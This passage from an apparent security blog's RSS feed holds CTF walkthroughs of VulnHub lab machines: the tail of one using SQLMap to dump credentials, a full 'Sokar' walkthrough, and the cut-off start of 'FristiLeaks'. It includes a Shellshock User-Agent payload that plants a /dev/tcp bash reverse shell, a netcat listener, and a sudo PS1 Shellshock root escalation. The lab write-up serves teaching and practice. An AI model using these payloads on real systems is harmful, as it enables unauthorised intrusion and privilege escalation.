&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; information_schema
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; mysql
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; roundcube
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;test&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;SQLMap form enumeration:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# sqlmap &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.221.131/?action=login&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--forms&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; cms
&lt;span class=&quot;nt&quot;&gt;--tables&lt;/span&gt;

Database: cms
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;3 tables]
+-------+
| user  |
| event |
| log   |
+-------+&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;SQLMap database dump + admin account hash cracked:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~]# sqlmap &lt;span class=&quot;nt&quot;&gt;-o&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-u&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;http://192.168.221.131/?action=login&quot;&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;--forms&lt;/span&gt;  &lt;span class=&quot;nt&quot;&gt;-D&lt;/span&gt; cms
&lt;span class=&quot;nt&quot;&gt;-T&lt;/span&gt; user &lt;span class=&quot;nt&quot;&gt;--dump&lt;/span&gt;

Database: cms
Table: user
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;1 entry]
+---------+---------------+----------------------------------------------+
| user_id | user_username | user_password                                |
+---------+---------------+----------------------------------------------+
| 1       | admin         | 25e4ee4e9229397b6b17776bfceaf8e7 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;adminpass&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; |
+---------+---------------+----------------------------------------------+&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;web-application-exploitation&quot;&gt;Web Application Exploitation&lt;/h2&gt;

&lt;p&gt;Using the previously discovered admin account credentials, it was possible to login to the web application and upload a php reverse shell using an image upload form.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf6/webshell.png&quot; alt=&quot;PHP Web Shell Upload&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;local-privilege-escalation&quot;&gt;Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;A successful reverse shell was establish and the kernel appeared to be
vulnerable to a well know &lt;a href=&quot;https://www.exploit-db.com/exploits/8478/&quot;&gt;Linux 2.6 kernel udev
exploit&lt;/a&gt;.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;sh-3.2&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;uname&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ar&lt;/span&gt;
Linux localhost.localdomain 2.6.18-92.el5 &lt;span class=&quot;c&quot;&gt;#1 SMP Tue Jun 10 18:49:47 EDT 2008&lt;/span&gt;
i686 i686 i386 GNU/Linux&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The exploit requires the PID for the udev process, the exploit does not work
flawlessly as you can see below it may take several attempts to get a root
shell.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/ctf6/exploit-process-udev-pid.png&quot; alt=&quot;Exploit Process UDEV PID&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>Sokar - Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/sokar-walkthrough/</link>
          <pubDate>Fri, 23 Feb 2024 14:00:10 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/sokar-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Easy&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#description&quot; id=&quot;markdown-toc-description&quot;&gt;Description&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#enumeration&quot; id=&quot;markdown-toc-enumeration&quot;&gt;Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#shellshock&quot; id=&quot;markdown-toc-shellshock&quot;&gt;Shellshock&lt;/a&gt;        &lt;ul&gt;
          &lt;li&gt;&lt;a href=&quot;#identify-current-user&quot; id=&quot;markdown-toc-identify-current-user&quot;&gt;Identify Current User&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#shellshock-home-dir-perms&quot; id=&quot;markdown-toc-shellshock-home-dir-perms&quot;&gt;Shellshock home dir perms&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#shellshock-files-owned-by-user-bynarr&quot; id=&quot;markdown-toc-shellshock-files-owned-by-user-bynarr&quot;&gt;Shellshock files owned by user bynarr&lt;/a&gt;&lt;/li&gt;
          &lt;li&gt;&lt;a href=&quot;#shellshock-mail-spool-readable&quot; id=&quot;markdown-toc-shellshock-mail-spool-readable&quot;&gt;Shellshock mail spool readable&lt;/a&gt;&lt;/li&gt;
        &lt;/ul&gt;
      &lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#reverse-shell&quot; id=&quot;markdown-toc-reverse-shell&quot;&gt;Reverse Shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#shellshock-local-privilege-escalation&quot; id=&quot;markdown-toc-shellshock-local-privilege-escalation&quot;&gt;Shellshock Local Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root-flag&quot; id=&quot;markdown-toc-root-flag&quot;&gt;Root Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;description&quot;&gt;Description&lt;/h2&gt;

&lt;p&gt;Sokar was a vulnhub competition, unfortunately I did not have enough free time to compete.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Author:&lt;/strong&gt; @_RastaMouse&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Download:&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com&quot;&gt;VulnHub&lt;/a&gt;&lt;/p&gt;

&lt;h2 id=&quot;enumeration&quot;&gt;Enumeration&lt;/h2&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.30.148&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 591&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.15 ((CentOS))&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Inspection of the Web Application revealed &lt;code&gt;/cgi-bin/cat&lt;/code&gt; which indicated it could be vulnerable to shellshock.&lt;/p&gt;

&lt;h3 id=&quot;shellshock&quot;&gt;Shellshock&lt;/h3&gt;

&lt;p&gt;The Shellshock exploit was used to execute remote commands on the target system, however a reverse shell or bind shell were not possible due to restrictive ingress and egress firewall rules. This made for a painful local enumeration of the system via &lt;strong&gt;Burp Suite&lt;/strong&gt;.&lt;/p&gt;

&lt;h4 id=&quot;identify-current-user&quot;&gt;Identify Current User&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sokar/shellshock-id.png&quot; alt=&quot;Shellshock ID&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;shellshock-home-dir-perms&quot;&gt;Shellshock home dir perms&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sokar/shellshock-home-dirs.png&quot; alt=&quot;Shellshock home dir&quot; /&gt;&lt;/p&gt;

&lt;h4 id=&quot;shellshock-files-owned-by-user-bynarr&quot;&gt;Shellshock files owned by user bynarr&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sokar/shellshock-find.png&quot; alt=&quot;Shellshock find command&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The file &lt;code&gt;/tmp/stats&lt;/code&gt; appeared to get updated every few minutes, indicating a cronjob &lt;em&gt;could&lt;/em&gt; be running.&lt;/p&gt;

&lt;h4 id=&quot;shellshock-mail-spool-readable&quot;&gt;Shellshock mail spool readable&lt;/h4&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/sokar/shellshock-mail.png&quot; alt=&quot;Shellshock mail&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The above disclosed &lt;code&gt;bynarrs&lt;/code&gt; passwords and the outbound port &lt;code&gt;51242&lt;/code&gt; rule for the user.&lt;/p&gt;

&lt;h2 id=&quot;reverse-shell&quot;&gt;Reverse Shell&lt;/h2&gt;

&lt;p&gt;The following shellshock payload was sent using Burp Suite:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;User-Agent: &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; :&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;/bin/echo &lt;span class=&quot;s1&quot;&gt;&apos;/bin/bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.221.139/51242 0&amp;gt;&amp;amp;1 &apos;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /home/bynarr/.profile&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The cronjob called the .profile file and execute the file contents.&lt;/p&gt;

&lt;p&gt;A reverse shell was successfully spawned as the user &lt;code&gt;bynarr&lt;/code&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;root:~/Downloads]# nc.traditional &lt;span class=&quot;nt&quot;&gt;-lp&lt;/span&gt; 51242 &lt;span class=&quot;nt&quot;&gt;-vvvv&lt;/span&gt;
listening on &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;any] 51242 ...
192.168.221.148: inverse host lookup failed: Unknown host
connect to &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.139] from &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;UNKNOWN&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;192.168.221.148] 59533
bash: no job control &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;this shell&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;local-enumeration&quot;&gt;Local Enumeration&lt;/h2&gt;

&lt;p&gt;The following disclosed several bash environment variables were permitted to run as the user &lt;code&gt;bynarr&lt;/code&gt; with sudo permissions.&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;bynarr@sokar ~]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;sudo&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-l&lt;/span&gt;
Matching Defaults entries &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;bynarr on this host:
    &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;requiretty, visiblepw, always_set_home, env_reset, &lt;span class=&quot;nv&quot;&gt;env_keep&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;COLORS
    DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS&quot;&lt;/span&gt;, env_keep+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;MAIL PS1
    PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE&quot;&lt;/span&gt;, env_keep+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES&quot;&lt;/span&gt;, env_keep+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LC_MONETARY
    LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE&quot;&lt;/span&gt;, env_keep+&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;LC_TIME LC_ALL
    LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY&quot;&lt;/span&gt;,
    &lt;span class=&quot;nv&quot;&gt;secure_path&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/bin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/sbin&lt;span class=&quot;se&quot;&gt;\:&lt;/span&gt;/usr/bin

User bynarr may run the following commands on this host:
    &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;ALL&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; NOPASSWD: /home/bynarr/lime&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;shellshock-local-privilege-escalation&quot;&gt;Shellshock Local Privilege Escalation&lt;/h2&gt;

&lt;p&gt;The following shellshock payload was crafted to successfully escalate permissions to root:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PS1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;() { :;} ;  /bin/sh&quot;&lt;/span&gt; /home/bynarr/lime&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h2 id=&quot;root-flag&quot;&gt;Root Flag&lt;/h2&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;bynarr@sokar tmp]&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PS1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;() { :;} ;  /bin/sh&quot;&lt;/span&gt; /home/bynarr/lime
&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;PS1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;() { :;} ;  /bin/sh&quot;&lt;/span&gt; /home/bynarr/lime
sh-4.1# &lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /home/bynarr/lime
&lt;span class=&quot;nb&quot;&gt;ls&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-la&lt;/span&gt; /home/bynarr/lime
&lt;span class=&quot;nt&quot;&gt;-rwxr-xr-x&lt;/span&gt; 1 root root 368 Jan 27  2015 /home/bynarr/lime
sh-4.1# &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/flag
&lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /root/flag
                0   0
                |   |
            ____|___|____
         0  |~ ~ ~ ~ ~ ~|   0
         |  |   Happy   |   |
      ___|__|___________|___|__
      |/&lt;span class=&quot;se&quot;&gt;\/\/\/\/\/\/\/\/\/\/\/&lt;/span&gt;|
  0   |    B i r t h d a y    |   0
  |   |/&lt;span class=&quot;se&quot;&gt;\/\/\/\/\/\/\/\/\/\/\/&lt;/span&gt;|   |
 _|___|_______________________|___|__
|/&lt;span class=&quot;se&quot;&gt;\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/&lt;/span&gt;|
|                                   |
|     V  u  l  n  H  u  b   &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;     |
| ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ |
|___________________________________|

&lt;span class=&quot;o&quot;&gt;=====================================&lt;/span&gt;
| Congratulations on beating Sokar! |
|                                   |
|  Massive shoutout to g0tmi1k and  |
| the entire community which makes  |
|         VulnHub possible!         |
|                                   |
|    rasta_mouse &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;@_RastaMouse&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;     |
&lt;span class=&quot;o&quot;&gt;=====================================&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Thanks for the VM :)&lt;/p&gt;
</description>
        </item>
        
      
    
      
        
        <item>
          <title>FristiLeaks 1.3 Walkthrough</title>
          <link>https://hacksofdhruv.me/blog/fristileaks-walkthrough/</link>
          <pubDate>Thu, 15 Feb 2024 00:00:00 +0000</pubDate>
          <dc:creator>Dhruv Ambaliya</dc:creator>
          
          <category>CTF</category>
          
          
          <category>walkthroughs</category>
          
          <guid isPermaLink="true">https://hacksofdhruv.me/blog/fristileaks-walkthrough/</guid>
          <description>&lt;div class=&quot;coffee-rating&quot;&gt;
&lt;table&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;code&gt;Difficulty Rating:&lt;/code&gt;&lt;/p&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;p&gt;&lt;i class=&quot;fa fa-solid fa-fire&quot;&gt;Intermediate&lt;/i&gt;&lt;/p&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
      &lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;

&lt;ul id=&quot;markdown-toc&quot;&gt;
  &lt;li&gt;&lt;a href=&quot;#author-description&quot; id=&quot;markdown-toc-author-description&quot;&gt;Author Description&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#port-scanning&quot; id=&quot;markdown-toc-port-scanning&quot;&gt;Port Scanning&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#service-enumeration&quot; id=&quot;markdown-toc-service-enumeration&quot;&gt;Service Enumeration&lt;/a&gt;&lt;/li&gt;
      &lt;li&gt;&lt;a href=&quot;#http-enumeration&quot; id=&quot;markdown-toc-http-enumeration&quot;&gt;HTTP Enumeration&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#php-reverse-shell&quot; id=&quot;markdown-toc-php-reverse-shell&quot;&gt;PHP Reverse Shell&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#local-enumeration&quot; id=&quot;markdown-toc-local-enumeration&quot;&gt;Local Enumeration&lt;/a&gt;    &lt;ul&gt;
      &lt;li&gt;&lt;a href=&quot;#homeadmin&quot; id=&quot;markdown-toc-homeadmin&quot;&gt;/home/admin&lt;/a&gt;&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#privilege-escalation&quot; id=&quot;markdown-toc-privilege-escalation&quot;&gt;Privilege Escalation&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#root-flag&quot; id=&quot;markdown-toc-root-flag&quot;&gt;Root Flag&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;author-description&quot;&gt;Author Description&lt;/h2&gt;

&lt;p&gt;A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..&lt;/p&gt;

&lt;div class=&quot;note warning&quot;&gt;
  &lt;h5&gt;VMWare Users - MAC Address&lt;/h5&gt;
  &lt;p&gt;If you are a VMWare user, you&apos;ll need to manually set the MAC Address to &lt;code&gt;08:00:27:A5:A6:76&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;

&lt;h3 id=&quot;port-scanning&quot;&gt;Port Scanning&lt;/h3&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;nmap &lt;span class=&quot;nt&quot;&gt;-v&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-p&lt;/span&gt; 1-65535 &lt;span class=&quot;nt&quot;&gt;-sV&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-O&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-sT&lt;/span&gt; 192.168.221.150&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;service-enumeration&quot;&gt;Service Enumeration&lt;/h3&gt;

&lt;div class=&quot;mobile-side-scroller&quot;&gt;
&lt;table&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Port&lt;/th&gt;
      &lt;th&gt;Service&lt;/th&gt;
      &lt;th&gt;Version Detection&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
      &lt;tbody&gt;
        &lt;tr&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;&lt;code&gt;TCP: 80&lt;/code&gt;&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;HTTP&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
           &lt;td&gt;
               &lt;pc&gt;&lt;p&gt;Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)&lt;/p&gt;&lt;/pc&gt;
           &lt;/td&gt;
        &lt;/tr&gt;
        &lt;/tbody&gt;

&lt;/table&gt;
&lt;/div&gt;

&lt;h3 id=&quot;http-enumeration&quot;&gt;HTTP Enumeration&lt;/h3&gt;

&lt;p&gt;Enumeration of the web application, revealed the page &lt;code&gt;/fristi&lt;/code&gt; with the following form:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/img/blog/fristileaks/webform.png&quot; alt=&quot;webform&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Page source interrogation revealed the following code comment:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&amp;lt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;
TODO:
We need to clean this up &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;production. I left some junk &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;here to make testing easier.

- by eezeepz
&lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;The following base64 encoded image was also discovered and decoded to reveal an image containing the string: &lt;code&gt;keKkeKKeKKeKkEkkEk&lt;/code&gt;&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;iVBORw0KGgoAAAANSUhEUgAAAW0AAABLCAIAAAA04UHqAAAAAXNSR0IArs4c6QAAAARnQU1BAACx&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;jwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAARSSURBVHhe7dlRdtsgEIVhr8sL8nqymmwmi0kl&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;S0iAQGY0Nb01//dWSQyTgdxz2t5+AcCHHAHgRY4A8CJHAHiRIwC8yBEAXuQIAC9yBIAXOQLAixw&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;B4EWOAPAiRwB4kSMAvMgRAF7kCAAvcgSAFzkCwIscAeBFjgDwIkcAeJEjALzIEQBe5AgAL5kc+f&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;m63yaP7/XP/5RUM2jx7iMz1ZdqpguZHPl+zJO53b9+1gd/0TL2Wull5+RMpJq5tMTkE1paHlVXJJ&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span 